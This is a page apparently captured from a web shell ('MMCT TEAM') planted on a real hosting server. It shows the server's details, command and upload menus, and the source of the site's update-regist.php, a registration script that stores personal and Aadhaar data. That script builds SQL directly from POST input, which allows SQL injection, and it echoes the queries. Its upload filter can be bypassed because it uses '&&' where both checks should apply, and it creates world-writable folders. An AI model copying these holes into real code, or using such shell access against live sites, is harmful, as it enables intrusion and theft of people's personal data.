MMCT TEAM
Server IP : 86.38.243.193  /  Your IP : 216.73.217.143
Web Server : LiteSpeed
System : Linux in-mum-web1336.main-hosting.eu 4.18.0-553.34.1.lve.el8.x86_64 #1 SMP Thu Jan 9 16:30:32 UTC 2025 x86_64
User : u493057690 ( 493057690)
PHP Version : 8.2.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : ON
Directory (0755) :  /home/u493057690/domains/iasfindia.com/public_html/admin/../pages/../

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u493057690/domains/iasfindia.com/public_html/admin/../pages/../update-regist.php
<?php
	require_once 'admin/connect.php';
	if(ISSET($_POST['updatereg'])){
		$id= $_POST['id'];
		$serial_id = $_POST['serial_id'];
		$name = $_POST['name'];
		$father_name = $_POST['father_name'];
		$dob = $_POST['dob'];
		$address = $_POST['address'];
		$contact_no = $_POST['contact_no'];
		$emailid = $_POST['emailid'];
		$state = $_POST['state'];
		$dist = $_POST['dist'];
		$country = $_POST['country'];
		$sport = $_POST['sport'];
		$designation = $_POST['designation'];
		$adhar_no = $_POST['adhar_no'];
		$age_category = $_POST['age_category'];
		$coach = $_POST['coach'];
		//$photo = $_POST['photo'];
		//$adhar_card = $_POST['adhar_card'];
		//$signature = $_POST['signature'];
		$result = $_POST['result'];
		$status = $_POST['status'];
		$t_name = $_POST['t_name'];
		
		
		
		
		$sql = "UPDATE registration SET serial_id= '".$serial_id."',name='".$name."',father_name='".$father_name."',dob='".$dob."',address='".$address."',contact_no='".$contact_no."',emailid='".$emailid."',state='".$state."',dist='".$dist."',country='".$country."',sport='".$sport."',designation='".$designation."',adhar_no='".$adhar_no."',age_category='".$age_category."',coach='".$coach."',result='".$result."',status='".$status."',t_name='".$t_name."' WHERE id='".$id."'";		
	if (mysqli_query($conn,$sql))
	{
	echo "<script>alert(\"Registration Successfully\")</script>";
 echo "<script> window.location=\"admin/update-registration.php\"</script>";
	}
	//echo $sql;
 
	
	}
	
	//-----------------------------------------------------------------------------------	
	
	
	//-----------------------------------------------------------------------------------	
	
	if(ISSET($_POST['updatephoto'])){
		$id= $_POST['id'];
		//$uploadedfile= $_POST['uploadedfile1'];
		//$photo= $_POST['f_name'];
		$uploadedfile="uploadedfile1" ;
    	$file_type = $_FILES[$uploadedfile]['type']; 
		$file_name = $_FILES[$uploadedfile]['name'];
		$file_name= str_replace(" ","_",$file_name);
		if($file_name!="")
		{
        	$file_ext = strtolower(substr($file_name,strrpos($file_name,"."))); 
	    	$FILE_MIMES = array('application/rtf','application/doc','application/pdf','image/jpeg','image/jpg','image/gif','image/png','image/tiff','image/bmp'); 
	    	$FILE_EXTS = array('.rtf','.docx','.doc','.pdf','.jpeg','.jpg','.JPG','.gif','.GIF','.png','.PNG','.tiff','.TIFF','.bmp','.BMP'); 

        		if (!in_array($file_type, $FILE_MIMES) && !in_array($file_ext, $FILE_EXTS) ) 
				{
					echo "Sorry, $file_name($file_type) is not allowed to be uploaded.";
					exit();
				}
	 
				$target_path="files/";
				if(is_dir("files/".strtotime("now")))
				{
					$t_path=strtotime("now");
					$target_path =$target_path.$t_path;	
					$target_path =$target_path."/";
					$target_path = $target_path . $file_name;
				}
				else
				{
					mkdir(("files/".strtotime("now")),0777, true);
					$t_path=strtotime("now");
					$target_path =$target_path.$t_path;	
					$target_path =$target_path."/";
					$target_path = $target_path . $file_name;
				}
		
				$_FILES[$uploadedfile]['tmp_name']; 
				if(move_uploaded_file($_FILES[$uploadedfile]['tmp_name'], $target_path))
				{
					$f_name=$target_path;
				}
		}
		else
		{
			$f_name="null";
		}
		


	$sql = "UPDATE registration SET photo='".$f_name."' WHERE id='".$id."'";		
	if (mysqli_query($conn,$sql))
	{
	echo "<script>alert(\"Photo Updated Successfully\")</script>";
 echo "<script> window.location=\"admin/update-registration.php\"</script>";
	}
	//echo $sql;
 
	
	}

	//-----------------------------------------------------------------------------------	
	
	
	if(ISSET($_POST['updateadhar'])){
		$id= $_POST['id'];
		
		
		
		$uploadedfile2="uploadedfile2" ;
    	$file_type = $_FILES[$uploadedfile2]['type']; 
		$file_name = $_FILES[$uploadedfile2]['name'];
		$file_name= str_replace(" ","_",$file_name);
		if($file_name!="")
		{
        	$file_ext = strtolower(substr($file_name,strrpos($file_name,"."))); 
	    	$FILE_MIMES = array('application/rtf','application/doc','application/pdf','image/jpeg','image/jpg','image/gif','image/png','image/tiff','image/bmp'); 
	    	$FILE_EXTS = array('.rtf','.docx','.doc','.pdf','.jpeg','.jpg','.JPG','.gif','.GIF','.png','.PNG','.tiff','.TIFF','.bmp','.BMP'); 

        		if (!in_array($file_type, $FILE_MIMES) && !in_array($file_ext, $FILE_EXTS) ) 
				{
					echo "Sorry, $file_name($file_type) is not allowed to be uploaded.";
					exit();
				}
	 
				$target_path="files/";
				if(is_dir("files/".strtotime("now")))
				{
					$t_path=strtotime("now");
					$target_path =$target_path.$t_path;	
					$target_path =$target_path."/";
					$target_path = $target_path . $file_name;
				}
				else
				{
					mkdir(("files/".strtotime("now")),0777, true);
					$t_path=strtotime("now");
					$target_path =$target_path.$t_path;	
					$target_path =$target_path."/";
					$target_path = $target_path . $file_name;
				}
		
				$_FILES[$uploadedfile2]['tmp_name']; 
				if(move_uploaded_file($_FILES[$uploadedfile2]['tmp_name'], $target_path))
				{
					$f_name1=$target_path;
				}
		}
		else
		{
			$f_name1="null";
		}
		
		
	$sql = "UPDATE registration SET adhar_card='".$f_name1."' WHERE id='".$id."'";		
	if (mysqli_query($conn,$sql))
	{
	echo "<script>alert(\"ID Proof Updated Successfully\")</script>";
 echo "<script> window.location=\"admin/update-registration.php\"</script>";
	}
	echo $sql;
 
	
	}
//-----------------------------------------------------------------------------------	
	
	
	if(ISSET($_POST['updatesign'])){
		$id= $_POST['id'];
		
		
		
		$uploadedfile3="uploadedfile3" ;
    	$file_type = $_FILES[$uploadedfile3]['type']; 
		$file_name = $_FILES[$uploadedfile3]['name'];
		$file_name= str_replace(" ","_",$file_name);
		if($file_name!="")
		{
        	$file_ext = strtolower(substr($file_name,strrpos($file_name,"."))); 
	    	$FILE_MIMES = array('application/rtf','application/doc','application/pdf','image/jpeg','image/jpg','image/gif','image/png','image/tiff','image/bmp'); 
	    	$FILE_EXTS = array('.rtf','.docx','.doc','.pdf','.jpeg','.jpg','.JPG','.gif','.GIF','.png','.PNG','.tiff','.TIFF','.bmp','.BMP'); 

        		if (!in_array($file_type, $FILE_MIMES) && !in_array($file_ext, $FILE_EXTS) ) 
				{
					echo "Sorry, $file_name($file_type) is not allowed to be uploaded.";
					exit();
				}
	 
				$target_path="files/";
				if(is_dir("files/".strtotime("now")))
				{
					$t_path=strtotime("now");
					$target_path =$target_path.$t_path;	
					$target_path =$target_path."/";
					$target_path = $target_path . $file_name;
				}
				else
				{
					mkdir(("files/".strtotime("now")),0777, true);
					$t_path=strtotime("now");
					$target_path =$target_path.$t_path;	
					$target_path =$target_path."/";
					$target_path = $target_path . $file_name;
				}
		
				$_FILES[$uploadedfile3]['tmp_name']; 
				if(move_uploaded_file($_FILES[$uploadedfile3]['tmp_name'], $target_path))
				{
					$f_name2=$target_path;
				}
		}
		else
		{
			$f_name2="null";
		}

	$sql = "UPDATE registration SET signature='".$f_name2."' WHERE id='".$id."'";		
	if (mysqli_query($conn,$sql))
	{
	echo "<script>alert(\"Signature Updated Successfully\")</script>";
 echo "<script> window.location=\"admin/update-registration.php\"</script>";
	}
	echo $sql;
 
	
	}
	
?>

MMCT - 2023